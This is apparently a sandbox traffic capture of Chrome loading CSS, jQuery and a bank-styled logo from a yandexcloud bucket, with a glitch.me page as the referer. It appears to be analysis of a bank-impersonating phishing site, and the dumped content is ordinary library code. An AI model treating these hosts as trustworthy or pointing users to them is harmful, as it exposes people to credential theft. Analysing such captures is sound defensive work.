2024-05-27 22:44:22 UTC	578	OUT	GET /font-awesome.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:22 UTC	283	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:22 GMT Content-Type: text/css Content-Length: 21939 Connection: close Accept-Ranges: bytes Etag: "b3f38f8786407280c4585f1586bf26ee" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: 7e59e89b9e24282b
2024-05-27 22:44:22 UTC	16101	IN	Data Raw: 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 34 2e 32 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 46 6f 6e 74 41 77 65 73 6f 6d 65 27 3b 73 72 63 3a 75 72 6c 28 27 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 65 6f 74 3f 76 3d 34 2e 32 2e 30 27 29 3b 73 72 63 3a 75 72 6c 28 27 66 Data Ascii: /! Font Awesome 4.2.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */@font-face{font-family:'FontAwesome';src:url('fontawesome-webfont.eot?v=4.2.0');src:url('f
2024-05-27 22:44:22 UTC	5838	IN	Data Raw: 74 62 75 63 6b 65 74 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 32 22 7d 2e 66 61 2d 74 75 6d 62 6c 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 33 22 7d 2e 66 61 2d 74 75 6d 62 6c 72 2d 73 71 75 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 34 22 7d 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 35 22 7d 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 36 22 7d 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 37 22 7d 2e 66 61 2d 6c 6f 6e 67 2d 61 72 72 6f 77 2d Data Ascii: tbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49720	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:23 UTC	580	OUT	GET /panel-defaults.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:23 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:23 GMT Content-Type: text/css Content-Length: 9541 Connection: close Accept-Ranges: bytes Etag: "e909d59f350c1dad51b78325b5953eb2" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: 7eb5eb024449f9c4
2024-05-27 22:44:23 UTC	9541	IN	Data Raw: 2f 2a 20 41 64 64 65 64 3a 0a 0a 20 2d 20 66 69 78 20 74 6f 20 73 74 6f 70 20 68 31 20 67 65 74 74 69 6e 67 20 61 66 66 65 63 74 65 64 20 62 79 20 6d 6f 72 74 67 61 67 65 0a 20 2d 20 62 6f 78 20 6d 6f 64 65 6c 20 64 65 66 61 75 6c 74 73 20 74 6f 20 73 74 6f 70 20 77 69 64 74 68 73 20 67 65 74 74 69 6e 67 20 61 66 66 65 63 74 65 64 20 6f 6e 20 69 50 68 6f 6e 65 0a 20 2d 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 61 78 20 77 69 64 74 68 0a 20 0a 20 2d 20 4e 65 65 64 73 20 74 6f 20 62 65 20 74 65 73 74 65 64 0a 2a 2f 0a 0a 23 6c 70 50 61 6e 65 6c 44 69 76 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 6c 70 50 61 6e 65 6c 44 69 67 69 74 61 6c 43 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 Data Ascii: /* Added: - fix to stop h1 getting affected by mortgage - box model defaults to stop widths getting affected on iPhone - responsive max width - Needs to be tested*/#lpPanelDiv { display: block;}.lpPanelDigitalContainer { position: fix

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:23 UTC	570	OUT	GET /main.css HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:23 UTC	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:23 GMT Content-Type: text/css Content-Length: 2341 Connection: close Accept-Ranges: bytes Etag: "0c357b809e35163ef98bb273e7e3e587" Last-Modified: Mon, 04 Sep 2023 09:44:19 GMT X-Amz-Request-Id: e411732c16c12a55
2024-05-27 22:44:23 UTC	2341	IN	Data Raw: 2f 2a 20 33 30 2d 30 38 2d 32 30 31 36 20 31 37 30 39 68 20 20 2a 2f 0a 2e 6c 70 50 61 6e 65 6c 44 69 67 69 74 61 6c 43 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 74 61 68 6f 6d 61 2c 20 47 65 6e 65 76 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 32 31 34 35 46 3b 0a 7d 0a 0a 2e 6c 70 50 61 6e 65 6c 53 65 63 74 69 6f 6e 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 43 46 43 37 42 45 3b 0a 7d 0a 0a 2e 6c 70 50 61 6e 65 6c 54 61 62 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 34 41 32 42 32 3b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 33 70 78 20 73 6f 6c 69 64 20 23 33 34 41 32 42 32 3b 0a 7d 0a 0a Data Ascii: /* 30-08-2016 1709h */.lpPanelDigitalContainer { font-family: tahoma, Geneva, sans-serif; background: #42145F;}.lpPanelSection { background-color: #CFC7BE;}.lpPanelTab { background-color: #34A2B2; border: 3px solid #34A2B2;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:23 UTC	651	OUT	GET /jquery-2.2.3.js HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:23 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:23 GMT Content-Type: text/javascript Content-Length: 258648 Connection: close Accept-Ranges: bytes Etag: "aacc43d6f308fa362ac85e3f4fb2b30c" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: 837a625991efd858
2024-05-27 22:44:23 UTC	16093	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 32 2e 32 2e 33 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 36 2d 30 34 2d 30 35 54 31 Data Ascii: /! jQuery JavaScript Library v2.2.3 * http://jquery.com/ * * Includes Sizzle.js * http://sizzlejs.com/ * * Copyright jQuery Foundation and other contributors * Released under the MIT license * http://jquery.org/license * * Date: 2016-04-05T1
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 20 2b 20 69 64 65 6e 74 69 66 69 65 72 20 2b 20 22 24 22 20 29 2c 0a 0a 09 6d 61 74 63 68 45 78 70 72 20 3d 20 7b 0a 09 09 22 49 44 22 3a 20 6e 65 77 20 52 65 67 45 78 70 28 20 22 5e 23 28 22 20 2b 20 69 64 65 6e 74 69 66 69 65 72 20 2b 20 22 29 22 20 29 2c 0a 09 09 22 43 4c 41 53 53 22 3a 20 6e 65 77 20 52 65 67 45 78 70 28 20 22 5e 5c 5c 2e 28 22 20 2b 20 69 64 65 6e 74 69 66 69 65 72 20 2b 20 22 29 22 20 29 2c 0a 09 09 22 54 41 47 22 3a 20 6e 65 77 20 52 65 67 45 78 70 28 20 22 5e 28 22 20 2b 20 69 64 65 6e 74 69 66 69 65 72 20 2b 20 22 7c 5b 2a 5d 29 22 20 29 2c 0a 09 09 22 41 54 54 52 22 3a 20 6e 65 77 20 52 65 67 45 78 70 28 20 22 5e 22 20 2b 20 61 74 74 72 69 62 75 74 65 73 20 29 2c 0a 09 09 22 50 53 45 55 44 4f 22 3a 20 6e 65 77 20 52 65 67 45 78 Data Ascii: + identifier + "$" ),matchExpr = {"ID": new RegExp( "^#(" + identifier + ")" ),"CLASS": new RegExp( "^\\.(" + identifier + ")" ),"TAG": new RegExp( "^(" + identifier + "\|[*])" ),"ATTR": new RegExp( "^" + attributes ),"PSEUDO": new RegEx
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 73 65 65 20 6c 61 74 65 72 20 74 65 73 74 73 0a 09 09 09 69 66 20 28 20 21 64 69 76 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 20 29 20 7b 0a 09 09 09 09 72 62 75 67 67 79 51 53 41 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 53 61 66 61 72 69 20 38 2b 2c 20 69 4f 53 20 38 2b 0a 09 09 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 62 75 67 73 2e 77 65 62 6b 69 74 2e 6f 72 67 2f 73 68 6f 77 5f 62 75 67 2e 63 67 69 3f 69 64 3d 31 33 36 38 35 31 0a 09 09 09 2f 2f 20 49 6e 2d 70 61 67 65 20 60 73 65 6c 65 63 74 6f 72 23 69 64 20 73 69 62 69 6e 67 2d 63 6f 6d 62 69 6e 61 74 6f 72 20 73 65 6c 65 63 74 6f 72 60 20 66 61 69 6c 73 0a 09 Data Ascii: see later testsif ( !div.querySelectorAll(":checked").length ) {rbuggyQSA.push(":checked");}// Support: Safari 8+, iOS 8+// https://bugs.webkit.org/show_bug.cgi?id=136851// In-page `selector#id sibing-combinator selector` fails
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 09 09 09 2f 2f 20 49 6e 63 6f 72 70 6f 72 61 74 65 20 74 68 65 20 6f 66 66 73 65 74 2c 20 74 68 65 6e 20 63 68 65 63 6b 20 61 67 61 69 6e 73 74 20 63 79 63 6c 65 20 73 69 7a 65 0a 09 09 09 09 09 09 64 69 66 66 20 2d 3d 20 6c 61 73 74 3b 0a 09 09 09 09 09 09 72 65 74 75 72 6e 20 64 69 66 66 20 3d 3d 3d 20 66 69 72 73 74 20 7c 7c 20 28 20 64 69 66 66 20 25 20 66 69 72 73 74 20 3d 3d 3d 20 30 20 26 26 20 64 69 66 66 20 2f 20 66 69 72 73 74 20 3e 3d 20 30 20 29 3b 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 3b 0a 09 09 7d 2c 0a 0a 09 09 22 50 53 45 55 44 4f 22 3a 20 66 75 6e 63 74 69 6f 6e 28 20 70 73 65 75 64 6f 2c 20 61 72 67 75 6d 65 6e 74 20 29 20 7b 0a 09 09 09 2f 2f 20 70 73 65 75 64 6f 2d 63 6c 61 73 73 20 6e 61 6d 65 73 20 61 72 65 20 63 61 73 65 2d 69 6e Data Ascii: // Incorporate the offset, then check against cycle sizediff -= last;return diff === first \|\| ( diff % first === 0 && diff / first >= 0 );}};},"PSEUDO": function( pseudo, argument ) {// pseudo-class names are case-in
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 65 6e 73 20 3d 20 74 6f 6b 65 6e 73 2e 73 6c 69 63 65 28 20 6a 20 29 29 20 29 2c 0a 09 09 09 09 09 6a 20 3c 20 6c 65 6e 20 26 26 20 74 6f 53 65 6c 65 63 74 6f 72 28 20 74 6f 6b 65 6e 73 20 29 0a 09 09 09 09 29 3b 0a 09 09 09 7d 0a 09 09 09 6d 61 74 63 68 65 72 73 2e 70 75 73 68 28 20 6d 61 74 63 68 65 72 20 29 3b 0a 09 09 7d 0a 09 7d 0a 0a 09 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 4d 61 74 63 68 65 72 28 20 6d 61 74 63 68 65 72 73 20 29 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6d 61 74 63 68 65 72 46 72 6f 6d 47 72 6f 75 70 4d 61 74 63 68 65 72 73 28 20 65 6c 65 6d 65 6e 74 4d 61 74 63 68 65 72 73 2c 20 73 65 74 4d 61 74 63 68 65 72 73 20 29 20 7b 0a 09 76 61 72 20 62 79 53 65 74 20 3d 20 73 65 74 4d 61 74 63 68 65 72 73 2e 6c 65 6e 67 74 68 20 3e 20 Data Ascii: ens = tokens.slice( j )) ),j < len && toSelector( tokens ));}matchers.push( matcher );}}return elementMatcher( matchers );}function matcherFromGroupMatchers( elementMatchers, setMatchers ) {var bySet = setMatchers.length >
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 44 6f 6e 27 74 20 70 61 73 73 20 6e 6f 6e 2d 65 6c 65 6d 65 6e 74 73 20 74 6f 20 53 69 7a 7a 6c 65 0a 09 09 09 09 09 63 75 72 2e 6e 6f 64 65 54 79 70 65 20 3d 3d 3d 20 31 20 26 26 0a 09 09 09 09 09 09 6a 51 75 65 72 79 2e 66 69 6e 64 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 28 20 63 75 72 2c 20 73 65 6c 65 63 74 6f 72 73 20 29 20 29 20 29 20 7b 0a 0a 09 09 09 09 09 6d 61 74 63 68 65 64 2e 70 75 73 68 28 20 63 75 72 20 29 3b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 20 6d 61 74 63 68 65 64 2e 6c 65 6e 67 74 68 20 3e 20 31 20 3f 20 6a 51 75 65 72 79 2e 75 6e 69 71 75 65 53 6f 72 74 28 20 6d 61 74 63 68 65 64 20 29 20 3a 20 6d 61 74 63 Data Ascii: Don't pass non-elements to Sizzlecur.nodeType === 1 &&jQuery.find.matchesSelector( cur, selectors ) ) ) {matched.push( cur );break;}}}return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matc
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 75 69 64 20 3d 20 31 3b 0a 0a 44 61 74 61 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 7b 0a 0a 09 72 65 67 69 73 74 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 77 6e 65 72 2c 20 69 6e 69 74 69 61 6c 20 29 20 7b 0a 09 09 76 61 72 20 76 61 6c 75 65 20 3d 20 69 6e 69 74 69 61 6c 20 7c 7c 20 7b 7d 3b 0a 0a 09 09 2f 2f 20 49 66 20 69 74 20 69 73 20 61 20 6e 6f 64 65 20 75 6e 6c 69 6b 65 6c 79 20 74 6f 20 62 65 20 73 74 72 69 6e 67 69 66 79 2d 65 64 20 6f 72 20 6c 6f 6f 70 65 64 20 6f 76 65 72 0a 09 09 2f 2f 20 75 73 65 20 70 6c 61 69 6e 20 61 73 73 69 67 6e 6d 65 6e 74 0a 09 09 69 66 20 28 20 6f 77 6e 65 72 2e 6e 6f 64 65 54 79 70 65 20 29 20 7b 0a 09 09 09 6f 77 6e 65 72 5b 20 74 68 69 73 2e 65 78 70 61 6e 64 6f 20 5d 20 3d 20 76 61 6c 75 65 3b 0a 0a 09 09 2f 2f Data Ascii: uid = 1;Data.prototype = {register: function( owner, initial ) {var value = initial \|\| {};// If it is a node unlikely to be stringify-ed or looped over// use plain assignmentif ( owner.nodeType ) {owner[ this.expando ] = value;//
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 67 65 28 20 5b 20 63 6f 6e 74 65 78 74 20 5d 2c 20 72 65 74 20 29 20 3a 0a 09 09 72 65 74 3b 0a 7d 0a 0a 0a 2f 2f 20 4d 61 72 6b 20 73 63 72 69 70 74 73 20 61 73 20 68 61 76 69 6e 67 20 61 6c 72 65 61 64 79 20 62 65 65 6e 20 65 76 61 6c 75 61 74 65 64 0a 66 75 6e 63 74 69 6f 6e 20 73 65 74 47 6c 6f 62 61 6c 45 76 61 6c 28 20 65 6c 65 6d 73 2c 20 72 65 66 45 6c 65 6d 65 6e 74 73 20 29 20 7b 0a 09 76 61 72 20 69 20 3d 20 30 2c 0a 09 09 6c 20 3d 20 65 6c 65 6d 73 2e 6c 65 6e 67 74 68 3b 0a 0a 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 64 61 74 61 50 72 69 76 2e 73 65 74 28 0a 09 09 09 65 6c 65 6d 73 5b 20 69 20 5d 2c 0a 09 09 09 22 67 6c 6f 62 61 6c 45 76 61 6c 22 2c 0a 09 09 09 21 72 65 66 45 6c 65 6d 65 6e 74 73 20 7c 7c Data Ascii: ge( [ context ], ret ) :ret;}// Mark scripts as having already been evaluatedfunction setGlobalEval( elems, refElements ) {var i = 0,l = elems.length;for ( ; i < l; i++ ) {dataPriv.set(elems[ i ],"globalEval",!refElements \|\|
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 69 6e 61 6c 45 76 65 6e 74 20 29 3b 0a 0a 09 09 69 20 3d 20 63 6f 70 79 2e 6c 65 6e 67 74 68 3b 0a 09 09 77 68 69 6c 65 20 28 20 69 2d 2d 20 29 20 7b 0a 09 09 09 70 72 6f 70 20 3d 20 63 6f 70 79 5b 20 69 20 5d 3b 0a 09 09 09 65 76 65 6e 74 5b 20 70 72 6f 70 20 5d 20 3d 20 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 5b 20 70 72 6f 70 20 5d 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 43 6f 72 64 6f 76 61 20 32 2e 35 20 28 57 65 62 4b 69 74 29 20 28 23 31 33 32 35 35 29 0a 09 09 2f 2f 20 41 6c 6c 20 65 76 65 6e 74 73 20 73 68 6f 75 6c 64 20 68 61 76 65 20 61 20 74 61 72 67 65 74 3b 20 43 6f 72 64 6f 76 61 20 64 65 76 69 63 65 72 65 61 64 79 20 64 6f 65 73 6e 27 74 0a 09 09 69 66 20 28 20 21 65 76 65 6e 74 2e 74 61 72 67 65 74 20 29 20 7b 0a 09 Data Ascii: inalEvent );i = copy.length;while ( i-- ) {prop = copy[ i ];event[ prop ] = originalEvent[ prop ];}// Support: Cordova 2.5 (WebKit) (#13255)// All events should have a target; Cordova deviceready doesn'tif ( !event.target ) {
2024-05-27 22:44:24 UTC	16384	IN	Data Raw: 20 29 20 29 3b 0a 09 09 09 09 09 09 09 65 6c 65 6d 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 76 61 6c 75 65 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 65 6c 65 6d 20 3d 20 30 3b 0a 0a 09 09 09 09 2f 2f 20 49 66 20 75 73 69 6e 67 20 69 6e 6e 65 72 48 54 4d 4c 20 74 68 72 6f 77 73 20 61 6e 20 65 78 63 65 70 74 69 6f 6e 2c 20 75 73 65 20 74 68 65 20 66 61 6c 6c 62 61 63 6b 20 6d 65 74 68 6f 64 0a 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 7d 0a 09 09 09 7d 0a 0a 09 09 09 69 66 20 28 20 65 6c 65 6d 20 29 20 7b 0a 09 09 09 09 74 68 69 73 2e 65 6d 70 74 79 28 29 2e 61 70 70 65 6e 64 28 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 7d 0a 09 09 7d 2c 20 6e 75 6c 6c 2c 20 76 61 6c 75 65 2c 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 Data Ascii: ) );elem.innerHTML = value;}}elem = 0;// If using innerHTML throws an exception, use the fallback method} catch ( e ) {}}if ( elem ) {this.empty().append( value );}}, null, value, arguments.leng

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:23 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-27 22:44:24 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=149078 Date: Mon, 27 May 2024 22:44:23 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	213.180.193.247	443	4568	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:24 UTC	620	OUT	GET /n-w-logo.svg HTTP/1.1 Host: eclipse.website.yandexcloud.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://plastic-fringe-pentagon.glitch.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 22:44:25 UTC	287	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 27 May 2024 22:44:24 GMT Content-Type: image/svg+xml Content-Length: 4872 Connection: close Accept-Ranges: bytes Etag: "987cc7771f2fe14e61de62bd92e2411e" Last-Modified: Mon, 04 Sep 2023 09:44:18 GMT X-Amz-Request-Id: e69db7718279c952
2024-05-27 22:44:25 UTC	4872	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 35 38 22 20 68 65 69 67 68 74 3d 22 33 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 35 38 20 33 36 22 3e 0d 0a 20 20 20 20 3c 64 65 66 73 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 69 64 3d 22 61 22 20 78 31 3d 22 32 34 2e 39 36 25 22 20 78 32 3d 22 37 35 25 22 20 79 31 3d 22 32 34 2e 39 38 33 25 22 20 79 32 3d 22 37 35 2e 30 31 37 25 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 30 25 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 44 43 31 34 30 35 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 31 22 2f 3e 0d 0a 20 20 20 20 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="158" height="36" viewBox="0 0 158 36"> <defs> <linearGradient id="a" x1="24.96%" x2="75%" y1="24.983%" y2="75.017%"> <stop offset="0%" stop-color="#DC1405" stop-opacity=".1"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49726	2.18.97.153	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 22:44:24 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
